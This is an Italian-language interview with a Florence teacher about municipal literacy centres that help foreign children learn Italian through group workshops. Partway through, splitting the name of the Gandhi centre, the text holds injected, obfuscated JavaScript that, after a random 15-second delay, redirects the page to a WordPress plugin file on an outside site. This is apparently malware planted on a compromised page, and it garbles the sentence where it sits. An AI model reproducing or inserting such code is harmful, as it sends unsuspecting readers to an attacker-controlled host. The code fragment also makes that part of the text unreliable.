Insegnando s’impara

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A fronte del progressivo smantellamento dell’istruzione pubblica da parte del ministro Moratti, il Comune di Firenze ha mantenuto l’impegno di integrare e supportare l’offerta della scuola pubblica con i laboratori e corsi delle ‘Chiavi della città’ ed altre iniziative importanti, come i Centri di Alfabetizzazione per bambini e ragazzi stranieri con difficoltà linguistiche.
Abbiamo parlato con Maurizio Sarcoli, insegnante educatore di italiano come seconda lingua, che da due anni e mezzo lavora in questo settore.
Io lavoro in due dei tre centri ad oggi attivati: il centro Giufà, nel Quartiere 4, con sede presso la scuola Barsanti e il centro G (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andhi, nel Quartiere 5, con sede presso l’Istituto comprensivo Gandhi (ex Paolo Uccello). Il terzo è il centro Ulysse, sito nel Quartiere 1, presso la scuola Agnesi. Il servizio dei centri è di supporto e integrazione all’offerta delle scuole e non raddoppia né si sovrappone ai laboratori linguistici interni, peraltro recentemente colpiti da riduzioni di orario successive ai tagli del ministero.
A cosa servono questi centri?
Molti bambini stranieri arrivano a scuola conoscendo poco o per niente l’italiano. Lo scopo del nostro lavoro è favorire il recupero dello svantaggio linguistico e socio-culturale: per facilitare l’inserimento e il progresso sia come apprendimento che come socializzazione in classe. Lavoriamo in piccoli gruppi (da 5 a 8 bambini), spesso plurilingue, formati da ragazzi cinesi (la maggioranza nel centro Gandhi), rom (molti nel centro Giufà), albanesi, nordafricani e altre nazionalità.
Come si svolgono le lezioni?
Non parlerei di lezioni, ma di laboratori. Come in un cantiere gestito collettivamente, io attivo un lavoro con il gruppo: condivido con i ragazzi sia la scelta dell’oggetto di studio (tema e contenuti), sia la costruzione del percorso di lavoro e del suo svolgimento, fino alla esposizione finale.
Puoi fare un esempio?
Con due gruppi di una scuola media stiamo lavorando sulle abilità di comprensione ed esposizione dei libri di testo. Lo scopo è familiarizzare i ragazzi con la pratica dello studio di testi scolastici come geografia, scienze, storia. Ho iniziato indagando con loro quali erano le difficoltà concrete, anche psicologiche, che trovavano nel momento dell’interrogazione o del compito o in generale della vita in classe. Siamo poi passati ad una esercitazione continua con difficoltà graduale: dalla lettura (potenziamento dell’abilità tecnica), all’ascolto, comprensione ed esposizione (di episodi di vita extrascolastica che venivano raccontati e ripetuti), fino alla scrittura (costruzione della frase e del periodo). Soltanto allora siamo arrivati al lavoro sul testo scritto, partendo però dal vissuto quotidiano dei ragazzi, riviste di musica, sport ecc. fornite da me o da loro: riconoscimento dell’argomento e delle informazioni fondamentali da trattenere fino alla rielaborazione ed esposizione (a voce e scritta). Poi siamo passati ai libri di studio, individuando insieme la strada per soddisfare le richieste degli insegnanti (interrogazioni e compiti), tramite strumenti vari (libri, video, cd-rom, ecc.) per trovare informazioni non possedute o integrare quelle possedute (dall’uso del vocabolario, al confronto fra testi o l’uso di immagini che spiegano).
E come reagiscono i ragazzi?
I ragazzi sono attivi, partecipano, forse perché si sentono responsabilizzati da questo coinvolgimento, vivono la vita del gruppo come spazio familiare e amico, per esempio propongono cd o cassette portati da loro, che ascoltiamo assieme. Forniscono inoltre la loro personale visione di ciò che studiano, senza appiattirsi sulla mia… Questo fa sì che da insegnante io diventi “apprendente”, imparando molto su abilità, cultura ed esperienze già possedute e sulla loro diversità di visione di conoscenze ed esperienze. Il mio ruolo diventa simile a quello del regista, responsabile dell’esito finale e della sua conduzione secondo criteri di efficacia educativa e didattica, ma anche di chi sta accanto nella vita relazionale nel gruppo e con gli adulti.
Mi piacerebbe approfondire e continuare queste riflessioni, già portate avanti nelle riunioni con i colleghi dei centri, anche sulle pagine di questo giornale.

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